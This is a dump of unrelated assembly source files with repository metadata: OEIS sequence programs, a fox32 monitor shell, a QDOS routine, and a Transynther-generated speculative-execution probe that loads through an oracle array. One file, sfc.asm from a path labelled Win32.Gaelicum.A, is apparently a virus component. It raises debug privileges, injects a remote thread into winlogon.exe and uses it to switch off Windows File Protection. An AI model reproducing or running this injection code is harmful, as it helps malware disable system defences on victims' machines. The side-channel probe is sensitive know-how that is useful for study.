00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
45.087719
2,999
0.659728
399b7f9eaaed11493fb37b8e8357da49c0c26267
387
asm
Assembly
oeis/020/A020987.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/020/A020987.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/020/A020987.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A020987: Zero-one version of Golay-Rudin-Shapiro sequence (or word). ; Submitted by Jamie Morken(s4) ; 0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0 lpb $0 lpb $0 dif $0,2 lpe div $0,2 add $2,$0 lpe mov $0,$2 mod $0,2
27.642857
201
0.560724
74405f811b109f741e49ef426b16702a89cdca4e
7,451
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_444.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_444.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_444.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xe478, %rsi lea addresses_WC_ht+0x18478, %rdi clflush (%rdi) nop nop nop nop dec %rdx mov $100, %rcx rep movsq and $11536, %r13 lea addresses_normal_ht+0x10f54, %r11 dec %rbx mov (%r11), %cx cmp %rsi, %rsi lea addresses_WT_ht+0xd878, %rcx clflush (%rcx) nop xor %r13, %r13 mov $0x6162636465666768, %rbx movq %rbx, %xmm1 movups %xmm1, (%rcx) nop nop nop and %rbx, %rbx lea addresses_normal_ht+0x2ce0, %rsi nop nop nop nop sub $52985, %rdx mov (%rsi), %rcx nop nop sub %rdi, %rdi lea addresses_D_ht+0x91b8, %rbx nop nop nop nop dec %rsi movw $0x6162, (%rbx) nop nop inc %rcx lea addresses_D_ht+0xf0b0, %rsi lea addresses_WT_ht+0x9278, %rdi nop nop nop nop sub $60940, %rdx mov $64, %rcx rep movsq nop nop nop nop nop and $25632, %rsi lea addresses_WC_ht+0xb061, %rsi lea addresses_WC_ht+0xcd70, %rdi nop nop nop nop xor $59610, %rbx mov $33, %rcx rep movsl lfence lea addresses_D_ht+0x17c38, %r13 nop nop nop nop cmp %rsi, %rsi mov $0x6162636465666768, %rcx movq %rcx, (%r13) nop nop nop nop nop dec %rcx lea addresses_WC_ht+0xb838, %rsi lea addresses_WT_ht+0x5528, %rdi clflush (%rsi) nop nop nop cmp %rbx, %rbx mov $117, %rcx rep movsw nop nop nop nop nop sub %rdx, %rdx lea addresses_UC_ht+0x119f8, %r11 sub %rbx, %rbx movb (%r11), %r13b nop nop nop nop nop cmp $54156, %r13 lea addresses_normal_ht+0x1dc18, %rcx nop cmp $52026, %rsi vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rdi nop xor %rbx, %rbx lea addresses_normal_ht+0xb578, %rcx clflush (%rcx) nop nop xor %rdx, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm0 movups %xmm0, (%rcx) nop nop sub %rbx, %rbx lea addresses_normal_ht+0x9e78, %r11 clflush (%r11) nop nop nop nop nop cmp %r13, %r13 mov $0x6162636465666768, %rbx movq %rbx, %xmm4 and $0xffffffffffffffc0, %r11 vmovaps %ymm4, (%r11) nop nop xor %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rbx push %rcx push %rsi // Faulty Load lea addresses_WT+0xae78, %rbx nop nop xor $12976, %rsi vmovups (%rbx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r10 lea oracles, %r15 and $0xff, %r10 shlq $12, %r10 mov (%r15,%r10,1), %r10 pop %rsi pop %rcx pop %rbx pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 9}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
34.817757
2,999
0.661254
48df72f1dcdc1d563964163e03046105986c60f3
6,033
asm
Assembly
fox32rom/monitor/shell.asm
ry755/fox32
5c06c23941e4a1efae0440a6e8cf31d3f0714256
[ "MIT" ]
6
2022-01-27T06:55:52.000Z
2022-03-13T22:21:17.000Z
fox32rom/monitor/shell.asm
ry755/fox32
5c06c23941e4a1efae0440a6e8cf31d3f0714256
[ "MIT" ]
null
null
null
fox32rom/monitor/shell.asm
ry755/fox32
5c06c23941e4a1efae0440a6e8cf31d3f0714256
[ "MIT" ]
null
null
null
; debug monitor shell monitor_shell_start: mov.8 [MODIFIER_BITMAP], 0 call monitor_shell_clear_buffer mov r0, monitor_shell_prompt call print_string_to_monitor monitor_shell_event_loop: call get_next_event ; was a key pressed? cmp r0, EVENT_TYPE_KEY_DOWN ifz call monitor_shell_key_down_event ; was a key released? cmp r0, EVENT_TYPE_KEY_UP ifz call monitor_shell_key_up_event jmp monitor_shell_event_loop monitor_shell_key_down_event: mov r0, r1 cmp.8 r0, LSHIFT ifz jmp shift_pressed cmp.8 r0, RSHIFT ifz jmp shift_pressed cmp.8 r0, CAPS ifz jmp caps_pressed ; first, check if enter, delete, or backspace was pressed cmp.8 r0, 0x1C ; enter ifz jmp monitor_shell_key_down_event_enter cmp.8 r0, 0x6F ; delete ifz jmp monitor_shell_key_down_event_backspace cmp.8 r0, 0x0E ; backspace ifz jmp monitor_shell_key_down_event_backspace ; then, overwrite the cursor mov r1, r0 mov r0, 8 ; backspace character call print_character_to_monitor mov r0, r1 ; then, add it to the text buffer and print it to the screen call scancode_to_ascii call print_character_to_monitor call monitor_shell_push_character ; finally, print the cursor and redraw the line mov r0, '_' call print_character_to_monitor call redraw_monitor_console_line ret monitor_shell_key_down_event_enter: ; clear the cursor from the screen mov r0, 8 ; backspace character call print_character_to_monitor mov r0, ' ' ; space character call print_character_to_monitor mov r0, 8 ; backspace character call print_character_to_monitor mov r0, 10 ; line feed call print_character_to_monitor mov r0, 0 call monitor_shell_push_character call monitor_shell_parse_line call monitor_shell_clear_buffer mov r0, monitor_shell_prompt call print_string_to_monitor ret monitor_shell_key_down_event_backspace: ; check if we are already at the start of the prompt mov r1, [MONITOR_SHELL_TEXT_BUF_PTR] cmp r1, MONITOR_SHELL_TEXT_BUF_BOTTOM iflteq ret ; delete the last character from the screen, draw the cursor, and pop the last character from the buffer mov r0, 8 ; backspace character call print_character_to_monitor mov r0, ' ' ; space character call print_character_to_monitor mov r0, 8 ; backspace character call print_character_to_monitor call print_character_to_monitor mov r0, '_' ; cursor call print_character_to_monitor call monitor_shell_delete_character call redraw_monitor_console_line ret monitor_shell_key_up_event: mov r0, r1 cmp.8 r0, LSHIFT ifz jmp shift_released cmp.8 r0, RSHIFT ifz jmp shift_released ret monitor_shell_parse_line: ; if the line is empty, just return cmp.8 [MONITOR_SHELL_TEXT_BUF_BOTTOM], 0 ifz ret ; separate the command from the arguments ; store the pointer to the arguments mov r0, MONITOR_SHELL_TEXT_BUF_BOTTOM mov r1, ' ' call monitor_shell_tokenize mov [MONTIOR_SHELL_ARGS_PTR], r0 call monitor_shell_parse_command ret ; return tokens separated by the specified character ; returns the next token in the list ; inputs: ; r0: pointer to null-terminated string ; r1: separator character ; outputs: ; r0: pointer to next token or zero if none monitor_shell_tokenize: cmp.8 [r0], r1 ifz jmp monitor_shell_tokenize_found_token cmp.8 [r0], 0 ifz mov r0, 0 ifz ret inc r0 jmp monitor_shell_tokenize monitor_shell_tokenize_found_token: mov.8 [r0], 0 inc r0 ret ; parse up to 4 arguments into individual strings ; for example, "this is a test" will be converted to ; r0: pointer to "this" data.8 0 ; r1: pointer to "is" data.8 0 ; r2: pointer to "a" data.8 0 ; r3: pointer to "test" data.8 0 ; inputs: ; none ; outputs: ; r0: pointer to 1st null-terminated argument, or zero if none ; r1: pointer to 2nd null-terminated argument, or zero if none ; r2: pointer to 3rd null-terminated argument, or zero if none ; r3: pointer to 4th null-terminated argument, or zero if none monitor_shell_parse_arguments: push r31 mov r0, [MONTIOR_SHELL_ARGS_PTR] mov r1, ' ' mov r31, 3 push r0 monitor_shell_parse_arguments_loop: call monitor_shell_tokenize push r0 loop monitor_shell_parse_arguments_loop pop r3 pop r2 pop r1 pop r0 pop r31 ret ; push a character to the text buffer ; inputs: ; r0: character ; outputs: ; none monitor_shell_push_character: push r1 mov r1, [MONITOR_SHELL_TEXT_BUF_PTR] cmp r1, MONITOR_SHELL_TEXT_BUF_TOP ifgteq jmp monitor_shell_push_character_end mov.8 [r1], r0 inc [MONITOR_SHELL_TEXT_BUF_PTR] monitor_shell_push_character_end: pop r1 ret ; pop a character from the text buffer and zero it ; inputs: ; none ; outputs: ; r0: character monitor_shell_delete_character: push r1 mov r1, [MONITOR_SHELL_TEXT_BUF_PTR] cmp r1, MONITOR_SHELL_TEXT_BUF_BOTTOM iflteq jmp monitor_shell_pop_character_end dec [MONITOR_SHELL_TEXT_BUF_PTR] movz.8 r0, [r1] mov.8 [r1], 0 monitor_shell_pop_character_end: pop r1 ret ; mark the text buffer as empty ; inputs: ; none ; outputs: ; none monitor_shell_clear_buffer: push r0 ; set the text buffer poinrer to the start of the text buffer mov [MONITOR_SHELL_TEXT_BUF_PTR], MONITOR_SHELL_TEXT_BUF_BOTTOM ; set the first character as null mov r0, [MONITOR_SHELL_TEXT_BUF_PTR] mov.8 [r0], 0 pop r0 ret const MONITOR_SHELL_TEXT_BUF_TOP: 0x03ED4000 const MONITOR_SHELL_TEXT_BUF_BOTTOM: 0x03ED3FE0 ; 32 characters const MONITOR_SHELL_TEXT_BUF_PTR: 0x03ED3FDC ; 4 bytes - pointer to the current input character const MONTIOR_SHELL_ARGS_PTR: 0x03ED36C5 ; 4 bytes - pointer to the beginning of the command arguments monitor_shell_prompt: data.str "> _" data.8 0
25.67234
109
0.726007
af3efddf0752fa48dbfb1e3ee28f8da33995101c
4,589
asm
Assembly
Win32/Win32.Gaelicum.A/sfc.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.Gaelicum.A/sfc.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.Gaelicum.A/sfc.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
[BITS 32] %strlen wlgon_len 'winlogon.exe' TH32CS_SNAPPROCESS EQU 2 PROCESS_ALL_ACCESS EQU 0x1f0fff TOKEN_ADJUST_PRIVILEGES EQU 32 SE_PRIVILEGE_ENABLED EQU 2 MEM_RELEASE EQU 0x8000 @SFC_Disable: push ebp mov ebp, esp call [edi + GetVersion] or eax, eax js .end push 'SFC' push esp call [edi - __LOADLIBRARY] or eax, eax jz .end push eax push byte 2 push eax call [edi - __GETPROCADDR] or eax, eax jz .end push eax %ifndef hSfc %define hSfc [ebp - 0x8] %else %error "macro defined twice" %endif %ifndef sfc_terminate %define sfc_terminate [ebp - 0xC] %else %error "macro defined twice" %endif %ifndef GetApi %define GetApi [ebp - 0x10] %else %error "macro defined twice" %endif call startcode call .LoadApi OFFS EQU 0x14 .k32api FreeLibrary EQU ((0*4) + OFFS) dd 0x4dc9d5a0 CreateToolhelp32Snapshot EQU ((1*4) + OFFS) dd 0xe454dfed Process32First EQU ((2*4) + OFFS) dd 0x3249baa7 Process32Next EQU ((3*4) + OFFS) dd 0x4776654a OpenProcess EQU ((4*4) + OFFS) dd 0xefe297c0 VirtualAllocEx EQU ((5*4) + OFFS) dd 0x06e1a959c CreateRemoteThread EQU ((6*4) + OFFS) dd 0x72bd9cdd VirtualFreeEx EQU ((7*4) + OFFS) dd 0xc3b4eb78 GetCurrentProcess EQU ((8*4) + OFFS) dd 0x7b8f17e6 WriteProcessMemory EQU ((9*4) + OFFS) dd 0xd83d6aa1 _K32APINUM EQU (($ - .k32api)/4) .LoadApi pop esi push byte _K32APINUM pop ecx mov ebx, [edi - __KERNEL32] .LoadNextApi push ecx lodsd xchg edx, eax ; hash call GetApi ; LGetProcAddress jecxz .end pop ecx push eax loop .LoadNextApi mov ch, 3 sub esp, ecx ;0x300 bytes push ecx push byte TH32CS_SNAPPROCESS call [ebp - CreateToolhelp32Snapshot] cmp eax, byte -1 je .free xchg ebx, eax push esp push ebx call [ebp - Process32First] .loop1 or eax, eax jz .close lea edx, [esp + 0x24] ;szExeFile push edx push edx call [edi + lstrlenA] pop edx cmp eax, wlgon_len jl .nextp add edx, eax sub edx, byte wlgon_len call .1 db 'winlogon.exe',0 .1 push edx call [edi + lstrcmpiA] or eax, eax jnz .nextp push ebx call [edi + CloseHandle] push dword [esp + 8] ;Winlogon PID jmp short @AdjustPrivileges .nextp push esp push ebx call [ebp - Process32Next] jmp short .loop1 .close push ebx call [edi + CloseHandle] .free push dword hSfc call [ebp - FreeLibrary] .end leave ret @AdjustPrivileges push byte 0 call .adv db 'advapi32',0 .adv call [edi - __LOADLIBRARY] or eax, eax jz .exit xchg ebx, eax push esi push esp push byte TOKEN_ADJUST_PRIVILEGES call [ebp - GetCurrentProcess] push eax mov edx, 0x591ea70f ;OpenProcessToken call GetApi call eax pop esi ;TokenHandle or eax, eax jz .exit push byte SE_PRIVILEGE_ENABLED push eax push eax push esp ;lpLuid call .1 db 'SeDebugPrivilege',0 .1 push byte 0 mov edx, 0x97e8c2a2 ;LookupPrivilegeValueA call GetApi call eax push byte 1 mov edx, esp ;TOKEN_PRIVILEGES xor eax, eax push eax push eax push eax push edx push eax push esi mov edx, 0x24488a0f ;AdjustTokenPrivileges call GetApi call eax add esp, byte 0x14 push eax .closeToken push esi call [edi + CloseHandle] .exit pop eax or eax, eax jz @SFC_Disable.free push byte 0 push PROCESS_ALL_ACCESS call [ebp - OpenProcess] or eax, eax jz @SFC_Disable.free xchg ebx, eax push byte PAGE_EXECUTE_READWRITE pop ecx push ecx shl ecx, 6 ; 0x1000 (MEM_COMMIT) push ecx push byte RemoteThread_size push byte 0 push ebx call [ebp - VirtualAllocEx] or eax, eax jz .close xchg esi, eax push byte 0 push byte RemoteThread_size call @Get_RemoteThread push esi push ebx call [ebp - WriteProcessMemory] or eax, eax jz .cleanup xor eax, eax push eax push eax push dword sfc_terminate ;lpArgument push esi ;lpThreadFunc push eax push eax push ebx call [ebp - CreateRemoteThread] or eax, eax jz .cleanup push eax push dword (60*1000) ;1 min. push eax call [edi + WaitForSingleObject] or eax, eax jnz .close call [edi + CloseHandle] .cleanup push MEM_RELEASE push byte 0 push esi push ebx call [ebp - VirtualFreeEx] .close push ebx call [edi + CloseHandle] .exit2 jmp @SFC_Disable.free @Get_RemoteThread: pop eax call eax @RemoteThread: call [esp + 4] ret RemoteThread_size EQU ($ - @RemoteThread)
15.451178
45
0.662018
afc32dabb72f381d1858d7115b10076f0f7e3878
329
asm
Assembly
iod/iob/smsq.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
iod/iob/smsq.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
iod/iob/smsq.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SMSQ - Set Printer Aborted Message V2.00  1994 Tony Tebby section iou xdef iob_smsq iob_smsq xdef iob_ptab include 'dev8_keys_qdos_sms' include 'dev8_keys_msg8' ;+++ ; This routine sets the printer aborted message ; ; a1 r message ;-- iob_ptab move.w #msg8.abrt,a1 moveq #sms.mptr,d0 trap #do.sms2 rts end
14.304348
65
0.714286
141b052877f311e19ef7a5cd4029a4e4beaa46f0
456
asm
Assembly
oeis/227/A227308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/227/A227308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/227/A227308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A227308: Given an equilateral triangular grid with side n consisting of n(n+1)/2 points, a(n) is the maximum number of points that can be painted so that, if any 3 of the painted ones are chosen, they do not form an equilateral triangle with sides parallel to the grid. ; Submitted by Jon Maiga ; 1,2,4,6,8,12,14,18,22,26,30,34,39,44,49 lpb $0 mov $2,$0 mul $0,2 seq $2,195311 ; Row sums of A195310. cmp $0,$2 add $3,$2 lpe mov $0,$3 add $0,1
32.571429
271
0.697368
d79b2505c011e03e976aee64be50f7bd28a90497
364
asm
Assembly
oeis/021/A021552.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021552.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021552.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021552: Decimal expansion of 1/548. ; Submitted by Christian Krause ; 0,0,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1,8,2,4,8,1,7,5,1 seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1. div $0,2192 mod $0,10
45.5
199
0.598901
493e550636fb72a555f3e462db7faf776bce746e
369
asm
Assembly
tests/math.asm
ntrupin/navmv
7106f979419051119fcd3e9bf498b390d030d1e9
[ "MIT" ]
8
2020-01-12T07:11:21.000Z
2021-12-23T08:59:55.000Z
tests/math.asm
ntrupin/navmv
7106f979419051119fcd3e9bf498b390d030d1e9
[ "MIT" ]
null
null
null
tests/math.asm
ntrupin/navmv
7106f979419051119fcd3e9bf498b390d030d1e9
[ "MIT" ]
null
null
null
section .data: .inc lib/math.asm _start: ; Factorial mov ax, 1 mov bx, 1 mov cx, 5!: / syscall mov ax, 5 call fact mov cx, ax mov ax, 1 mov bx, 1 syscall ; Power mov ax, 1 mov bx, 1 mov cx, 5^3: / syscall mov ax, 5 mov bx, 3 call pow mov cx, ax mov ax, 1 mov bx, 1 syscall
13.666667
21
0.487805
1a9028e1d32380d9f77503f81a6e683d924c8012
610
asm
Assembly
oeis/075/A075415.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/075/A075415.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/075/A075415.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
